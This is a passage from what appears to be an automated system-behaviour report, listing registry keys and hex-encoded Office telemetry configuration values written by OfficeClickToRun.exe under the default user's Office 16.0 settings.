56e74735c22203a207b205c225175657279526573706f6e73655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e54657874222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c225265736f75726365436c69656e745c22203a207b205c224576656e74735c22203a207b205c22446573657269616c697a655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656164466f6e74456c656d656e74735c22203a207b205c224576656e74466c61675c22203a20323536207d2c205c2250757267654d756c7469706c655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22526561645265736f757263654d657461446174615c22203a207b205c224576656e74466c61675c2220 | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.5 = 727944796e616d6963436f6e6669672e446961676e6f7374696373222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c22436f6c6c6563746f725c22203a207b205c224576656e74735c22203a207b205c2253746172745472616365436f6c6c6563746f725c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e446f6373222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22536861726564436f6d6d656e74735f447261667443617264556e6d6f756e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224544502a5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22456e74657270726973654461746150726f74656374696f6e2a5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d736f456e74657270726973654461746150726f74656374696f6e2a5c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c22536861726564436f6d6d656e74735c22203a207b205c224576656e74735c22203a207b205c22436f6d6d6974436f6d6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469736361726444726166744173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469736361726444726166744e61746976655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22447261667453746174654d616e61676572456e644472616674696e675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22456e644472616674696e675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22506f737444726166745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244656c657465506f7374416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244656c657465546872656164416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2245324550657266547261636b65725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224472616674436172644d6f756e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244726166744361726452656e64657265645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224d61726b436f6d6d656e744372656174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2252656f70656e546872656164416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225265736f6c7665546872656164416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22536d6172745265706c79506f737465645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224162616e646f6e44726166745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469736361726444726166745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6d6d656e74436f6e746578744368616e676564416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224c6f6164436f6d6d656e74416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368436c6f7365566965774576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368436f6e74657874437265617465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463684f70656e566965774576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368566965774368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368426567696e44726166744576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463684361706162696c69746965734368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368436f6d6d656e74734368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368436f6d6d656e7453656c65637465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368437265617465436f6d6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368446f634368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368456e64436f6d6d656e7453657373696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368456e6444726166744576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463684576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368466f63757350616e655472696767657265644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368496e6974436f6d6d656e7453657373696f6e4173796e635c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368496e697469616c52656e646572436f6d706c657465644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224469737061746368496e76616c69644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463684c6f6164546872656164735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636850616e654368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636850616e65466f63757353746174654368616e6765644576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636850616e65546f52656e6465724576656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636853656c656374436f6d6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636853657448616c6650616e65446973706c61794d6f64655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2244697370617463685468656d654368616e6765645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22446973706174636844656c657465436f6d6d656e745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c656172436f6d6d656e7453656c656374696f6e416374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22446f63756d656e74416374697669746965735c22203a207b205c224576656e74735c22203a207b205c2241637469766974794c6f6744697363617264466f72446f63756d656e744368616e67655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67547269676765724173796e635461736b576f726b65725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d697451756575654c6f61644173796e635c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565496e697446696c65506174685c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565437265617465496e73616e63655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565417070656e644173796e6342617463685c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565577269746541637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756552656d6f76654173796e6342617463685c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d697451756575655772697465446f63756d656e74496e666f4865616465725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756554727944656c657465456d70747946696c654173796e635c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565496e7365727441637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e717565756541637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f6741646441637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674372656174654c6f675c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67536176654e657746696c655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674469736361726441637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e71756575654c6f63616c4e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e71756575654f7574676f696e674e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d697451756575654469736361726441637469766974794e6f6e437269746963616c5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224170694f70656e41637469766974794c6f675769746853747265616d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f6741646441637469766974795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674361636865446f63756d656e74496e666f5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e74727946696e616c697a655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f6746696c7465724f757443757272656e7455736572416374697669746965735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674c6f616446726f6d53747265616d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f6753617665546f53747265616d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565436865636b5265766f6b65644544505c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565526570616972436f7272757074656446696c654173796e635c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f674d6f64696679436c6f6e655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756546696c654f70656e4572726f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756546696c65526561644572726f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756546696c655265706c6163654572726f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d6974517565756546696c6557726974654572726f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d69745175657565536574456e74657270726973654461746150726f74656374696f6e4173796e635c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c225472616e736d697451756575655472756e6361746551756575655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c2241637469766974794c6f67456e7472794372656174655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f67456e74727953657453746174655c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c22536572766963654163746976697479526573756c745c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f674f6e436f6e74656e74416374696f6e5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f67456e717565756541637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f674469736361726441637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225472616e736d69745175657565496e7365727441637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225472616e736d697451756575654469736361726441637469766974795c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f67456e71756575654f7574676f696e675c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c2241637469766974794c6f67436c6f73655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736d6974517565756548656c706572456e737572654469726563746f72795c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736d697451756575654d616e61676572437265617465496e73616e63655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2241706943726561746541637469766974794c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224170694372656174654c6f675c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225472616e736d69745175657565536574456e74657270726973654461746150726f74656374696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2241637469766974794c6f674173796e635461736b5c22203a207b205c224576656e74466c61675c22203a20323536207d207d207d2c205c22436f6c6c6162436f726e65725c22203a207b205c224576656e74735c22203a207b205c22436f617574686f725570646174654c6f636174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f617574686f72476f546f43757272656e744c6f636174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572795573657252655265676973746572436f6e6e65637469766974794368616e67654e6f7469667949664e65636573736172795c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f666669636543686174436f6d6d616e6443686174427574746f6e497356697369626c654e6f7744617461706f696e745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c65727955736572436c6f736553696e676c65466c796f75745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f666669636543686174436f6d6d616e64497343686174417661696c61626c655c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572794f6e436f617574686f72735265747269657665644173796e63506f73745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572795265747269657665436f617574686f72735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572794f6e436f617574686f72735265747269657665645c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c6572795265747269657665436f617574686f72734265666f72654173796e63506f73745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c657279496e6974464d5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c657279436f617574686f72577261707065725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c224f666669636543686174436f6d6d616e64436f61757468696e6757697468416c6c4775657374734f724d697373696e67456d61696c456469746f72735c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22476f546f4c6f636174696f6e416374696f6e487562416374696f6e4a756d70546f417574686f725c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c65727955736572557064617465417574686f724c6f636174696f6e5c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6175746847616c6c65727955736572557064617465456d61696c416e64436861745c22203a207b205c224576656e74466c61675c22203a20353132207d2c205c22436f6e7461637443617264416374696f6e487562416374696f6e53686f77436f6e74616374436172645c22203a207b | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\Common\ClientTelemetry | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|12" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Key created | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentEcs\officeclicktorun\Overrides | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|8" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\ChunkCount = "uint64_t|2" | C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe | N/A |
| Set value (data) | \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ExperimentConfigs\Ecs\officeclicktorun\ConfigContextData\0.4 = 5368617265642e43726974697175652e44697361626c65644c616e677561676573222c20225622203a20227374643a3a77737472696e677c6a612c7a6822207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e43726974697175652e4c6f67496e7465726e616c4e616d65416e645072696f72697479222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e456469746f72536572766963652e557365496e737472756d656e746174696f6e417069222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772616d6d6172436865636b696e672e4765726d616e456e744469736162696c69747942696173222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772616d6d6172436865636b696e672e4e6f7277656769616e426f6b6d61616c456e746572707269736547726f757031222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772617068496d706f72744865647769675558222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4772617068496d706f7274496e73657274416c6c4f626a6563747356696577222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e47726170686963732e4368616e6765476174652e5570646174655461626c65426f756e6473466f72547970696e67222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4967782e456e7375726545326f4d6f6e696b65724166746572456e7375726545326f222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4e6577456e737572655549444c6f676963222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e4f6666696365496e7369646572526567697374726174696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5043582e416c6c6f7746696e6450656f706c655573616765496e41744d656e74696f6e222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5043582e4175746f436f6d706c6574652e46696e6450656f706c65537570706f7274222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5043582e4669784e6f6e526566436f756e7465644d736f506572736f6e6173222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e4261636b67726f756e64576f726b436f6e74726f6c6c6572427567466978222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e427567466978466f7241744d656e74696f6e734d6f6e69746f72696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e427567466978466f7250686f746f41637469766974794c6f6767696e6752656d6f76616c222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e436f6e746163744361726456324f766572666c6f774d656e7573506861736532222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e46696e6450656f706c655573616765456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e497350656f706c655365617263684578656375746f72456e61626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e506378417072696c323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e5063784665627275617279323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e5063784a616e75617279323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e5063784a756e65323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e5063784d61726368323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063782e557365506378436f6e74616374496e666f4c697374222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e506378417072696c323031374275676669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e506378436f6d6d6f6e436f6d70617265427567466978222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e506378436f6e746163744361726444706941776172656e6573734275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e506378436f6e7461637443617264466f6e74486569676874444450494275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063784a756e65323031374275676669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063784d61726368323031384275674669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5063784f63746f626572323031364275676669786573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e50656f706c655365617263682e436f6e7461637453656172636849676e6f72657353796d626f6c73222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e50656f706c655365617263682e50637848616e646c65734175746f446973636f766572222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e50656f706c655365617263682e526563697069656e744175746f436f6d706c657465537570706f7274222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e50726f6f66696e672e4175746f4d616e616765722e41637469766974696573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e536d6172744c696e6b732e416c6c6f775265636f676e697a65536d6172744c696e6b73496e7369646550617261677261706873222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e54686573617572757350616e652e41637469766974696573222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5472616e736c61746f722e456e61626c65466c6f6f6467617465537572766579222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e5472616e736c61746f722e466c6f6f646761746553757276657944656c6179222c20225622203a2022696e7433325f747c3530303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e576f72642e46574153686f756c64426c6f636b53656c4368616e67656446616c73654576656e7473222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e576f72642e53656e6445646974466c6167546f4e6f4572726f724576656e7473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e576f72642e57726974696e67417373697374616e63654372697469717565466f724347415049222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e5368617265642e57726974696e67417373697374616e636555492e50616e652e46697857726f6e67436c6f73654c6f676963222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e436f6c6f72466f6e74537570706f7274456e61626c6564222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e46696c6556657273696f6e696e67222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e48696464656e466f6e7473222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e4f4172745465787456616c696461746552616e6765564544222c20225622203a2022696e7433325f747c3322207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e52696368456469742e416c6c6f774475706c696361746555696d557064617465222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e52696368456469742e436f7079506173746548544d4c222c20225622203a2022626f6f6c7c3022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e536861726564546578742e5472616e7363726962652e436f6e666967436865636b44697361626c6564222c20225622203a2022626f6f6c7c3122207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d657472792e417269614d617854656172646f776e55706c6f616454696d65496e536563222c20225622203a2022696e7433325f747c3222207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d657472792e566f6c756d65547261636b696e674d61784576656e7473222c20225622203a2022696e7433325f747c3530303022207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4169725370616365222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c224261636b656e645c22203a207b205c224576656e74735c22203a207b205c224c61796572486f7374496e697469616c697a6174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6d706f7369746f7253657373696f6e547970655c22203a207b205c224576656e74466c61675c22203a2032207d207d2c205c225375624e616d657370616365735c22203a207b205c2257696e33325c22203a207b205c225375624e616d657370616365735c22203a207b205c224c65676163795c22203a207b205c224576656e74735c22203a207b205c22416e696d6174696f6e50657263656e74556e64657233304650535c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22416e696d6174696f6e4176674650535c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243726f737357696e54496d654f6646697273744672616d655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224176657261676550726573656e74735065725365636f6e645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d207d207d207d207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e4368617274696e67222c20225622203a20227374643a3a77737472696e677c7b205c224576656e74735c22203a207b205c22436861727445326f4c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436861727445326f536176655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c224368617274696e67456e644c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d207d207d22207d2c207b20224622203a20224d6963726f736f66742e4f66666963652e54656c656d6574727944796e616d6963436f6e6669672e436c69636b546f52756e222c20225622203a20227374643a3a77737472696e677c7b205c225375624e616d657370616365735c22203a207b205c225363656e6172696f5c22203a207b205c224576656e74735c22203a207b205c22446f72695461736b5c22203a207b205c224576656e74466c61675c22203a203438383936207d2c205c225570646174655461736b557064617465646574656374696f6e325c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174655461736b557064617465646f776e6c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174655461736b557064617465636c69656e74646f776e6c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225265706169725461736b46756c6c7265706169725c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225265706169725461736b52656d6f7665696e7374616c6c6174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c5461736b436f6e6669677572656c696768745c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436c69656e747570646174655461736b436c69656e74646f776e6c6f61645c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c5461736b53747265616d5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22496e7374616c6c5461736b437265617465776f726b696e67636f6e66696775726174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225570646174655461736b55706461746566696e616c697a655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c225461736b4c61737452756e4865617274626561745c22203a207b205c224576656e74735c22203a207b205c225461736b4c61737452756e4865617274626561745c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22556e6976657273616c426f6f7473747261707065725c22203a207b205c224576656e74735c22203a207b205c224170706c69636174696f6e5c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22457865637574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6c6c656374506172616d65746572735c22203a207b205c224576656e74466c61675c22203a2032207d2c205c22436f6c6c656374456d6265646465645369676e61747572655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c2243616c63756c617465506172616d65746572735c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c22436c69656e744361624d616e616765725c22203a207b205c224576656e74735c22203a207b205c225461736b557064617465436c69656e74446f776e6c6f6164446f457865637574655c22203a207b205c224576656e74466c61675c22203a2032207d2c205c225461736b436c69656e74446f776e6c6f6164446f457865637574655c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c2253747265616d4361625c22203a207b205c224576656e74735c22203a207b205c22446f776e6c6f616453747265616d4361625c22203a207b205c224576656e74466c61675c22203a2032207d207d207d2c205c225472616e73706f72745c22203a207b205c225375624e616d657370616365735c22203a207b205c224578706572696d656e74616c5472616e73706f72745c22203a207b205c224576656e74735c22203a207b205c22436162735c22203a207b205c224